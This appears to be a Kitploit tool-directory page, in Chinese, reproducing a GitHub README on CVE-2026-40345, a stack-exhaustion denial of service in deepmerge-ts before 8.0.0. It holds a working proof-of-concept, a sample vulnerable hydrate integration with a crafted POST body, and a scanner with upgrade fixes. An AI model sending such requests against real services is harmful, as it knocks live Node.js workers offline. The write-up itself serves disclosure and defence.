Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-40345 — 在 deepmerge-ts 8.0.0 之前的版本中复现栈耗尽拒绝服务,记录利用方法,并包含一个用于扫描易受攻击的依赖范围的扫描器。 | Kitploit
工具/GitHubGitHub/jvr2022/cve-2026-40345
漏洞扫描器漏洞分析漏洞利用Web应用程序漏洞利用Web安全供应链安全
GitHubjvr2022/cve-2026-40345

CVE-2026-40345

在 deepmerge-ts 8.0.0 之前的版本中复现栈耗尽拒绝服务,记录利用方法,并包含一个用于扫描易受攻击的依赖范围的扫描器。

查看仓库
13天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

deepmerge-ts < 8.0.0:递归对象图拒绝服务

我在 deepmerge-ts 8.0.0 之前的版本中复现了一个栈耗尽漏洞。

有趣的是,崩溃并不需要庞大的嵌套对象。它源于对象标识(object identity)。如果被合并的两个值通过同一属性指回自身,合并例程就会不断访问同一对对象,直到 Node.js 耗尽栈空间。

安全公告:GHSA-ggr8-5vv4-36mx CVE:CVE-2026-40345 CWE:CWE-674 严重性:高 影响:可用性

为什么这一点值得注意

大多数合并测试使用普通的 JSON 形状数据:

root@kitploit:~
{
  user: {
    name: "alice"
  }
}

这类数据是无环的。JavaScript 对象也可以包含对自身或同一图中另一个对象的引用。如果测试套件只使用 JSON 测试数据,这些情况很容易被忽略。

最小的触发失败图是两个各自带有相同自引用的独立对象:

root@kitploit:~
const left = {};
left.self = left;

const right = {};
right.self = right;

内部发生了什么

记录合并会遍历可枚举键,收集每个键的值,并再次为这些值调用合并例程。在受影响的版本中,既没有环检查,也没有对已访问对象对的跟踪。

self 键会让执行重新进入同一状态:

root@kitploit:~
deepmerge(left, right)
  -> merge(left.self, right.self)
  -> merge(left.self, right.self)
  -> merge(left.self, right.self)
  -> RangeError: Maximum call stack size exceeded

当 deepmergeInto、deepmergeCustom 和 deepmergeIntoCustom 收到同类图时,也会出现相同的行为。

本地复现

在 package.json 中,该包被固定到受影响的 7.1.6 版本。

root@kitploit:~
npm install
npm run poc

完整测试位于 poc.mjs。它会在本地运行两个公共 API,并捕获预期的 RangeError,以便结果易于阅读。

PoC 的关键部分如下:

root@kitploit:~
import { deepmerge } from "deepmerge-ts";

function recursiveRecord() {
  const record = {};
  record.self = record;
  return record;
}

deepmerge(recursiveRecord(), recursiveRecord());

预期输出:

root@kitploit:~
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded

当观察到受影响的行为时,PoC 返回成功。如果包已升级且两次调用均完成,它会打印一个干净的结果并以状态 1 退出,因为问题未复现。

如何利用此漏洞

这里不存在神奇的循环 JSON 载荷。普通的 JSON 解析器会创建无环图,因此仅向以下代码发送非常深的 JSON 主体并不会触发此问题:

root@kitploit:~
deepmerge(defaults, req.body);

应用程序需要在调用合并函数之前创建或保留环。这种情况可能出现在图的水合(hydration)代码、保留引用的反序列化器、缓存或会话对象复用,或将记录链接在一起的自定义逻辑中。

下面是一个易受攻击的集成的小例子。hydrate 函数将用户控制的标志转换为自引用:

root@kitploit:~
import { deepmerge } from "deepmerge-ts";

function hydrate(input) {
  const object = { value: input.value };
  if (input.self === true) object.self = object;
  return object;
}

function mergeRequest(body) {
  const left = hydrate(body.left);
  const right = hydrate(body.right);
  return deepmerge(left, right);
}

如果某个 HTTP 路由调用 mergeRequest,攻击者可以发送:

root@kitploit:~
POST /merge
Content-Type: application/json

{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}

现在双方都包含一个 self 引用。当路由调用 deepmerge(left, right) 时,库会追踪 left.self 和 right.self,再次收到同一对对象,并持续递归,直到 V8 抛出异常。

应用程序不一定非得使用这个确切的 hydrate 函数。重要条件如下:

  1. 攻击者可控的数据能够影响递归对象图。
  2. 两个合并输入在相同的属性路径上都包含环。
  3. 该图会到达某个受影响的合并 API。

如果该路由是公开的且异常未被捕获,单个请求就可以让 Node.js 工作进程停止。如果进程管理器会自动重启它,重复请求可能会使服务持续处于重启循环中。如果要求身份验证,攻击者仍然需要能够访问该路由。

这是一个拒绝服务问题。该漏洞不会提供代码执行、文件访问或读取另一请求合并输入的能力。

为什么仅有 JSON 还不够

在评估真实应用程序时,这种区别很重要。以下请求体本身并不是环:

root@kitploit:~
{
  "self": true
}

只有当应用程序代码将 self: true 解释为对根对象的引用,或者其他解析器还原对象引用时,它才具有相关性。该包仍应安全地处理由此产生的图,但远程可利用性取决于该包周围的代码。

影响

直接影响是通过同步栈耗尽导致的可用性问题。

取决于周边应用程序,结果可能是:

  • 单个请求以 RangeError 失败
  • 未捕获的异常终止工作进程
  • 在进程管理器下反复重启工作进程
  • 在工作进程重启期间请求队列积压
  • 当路由可被反复访问时,服务变得不可用

这一问题本身没有机密性或完整性影响。当合并路由未经过身份验证、可从公共互联网访问,或被其他服务自动重试时,严重性会增加。

检测

我添加了 scanner.mjs,用于在运行崩溃 PoC 之前查找受影响的依赖引用。它会检查:

  • package.json 依赖范围
  • package-lock.json
  • npm-shrinkwrap.json
  • pnpm-lock.yaml

针对项目目录运行它:

root@kitploit:~
node scanner.mjs /path/to/project

对于 CI 或其他工具,请使用 JSON 输出:

root@kitploit:~
node scanner.mjs /path/to/project --json

本仓库的示例结果:

root@kitploit:~
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6

当扫描器发现受影响的版本或范围时,会以状态 1 退出。Git URL 和其他非 semver 来源会被标记为 REVIEW,而不会被静默视为安全。

修复

直接修复方式是升级到 deepmerge-ts >= 8.0.0 并刷新 lockfile。

root@kitploit:~
npm install deepmerge-ts@^8.0.0

应用程序还应决定如何处理递归输入。合理的选择包括:

  • 在输入边界拒绝环
  • 在合并过程中跟踪已访问的对象对
  • 限制合并深度并以受控错误失败
  • 在请求边界捕获合并错误
  • 监控工作进程退出和重启循环

捕获错误有助于进程稳定,但如果攻击者能重复请求,它并不能消除根本的拒绝服务问题。升级依赖并处理递归输入才是重要的修复措施。

验证已修复的版本

将依赖改为 8.0.1,重新安装,然后运行相同的 PoC:

root@kitploit:~
npm install [email protected]
npm run poc

在已修复的版本上,两次调用都会完成,脚本会打印:

root@kitploit:~
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.

参考资料

  • GitHub 安全公告
  • CVE-2026-40345
  • npm 上的 deepmerge-ts
  • CWE-674:不受控制的递归

许可证

本仓库中的 PoC 和扫描器均根据 MIT 许可证 发布。

下载工具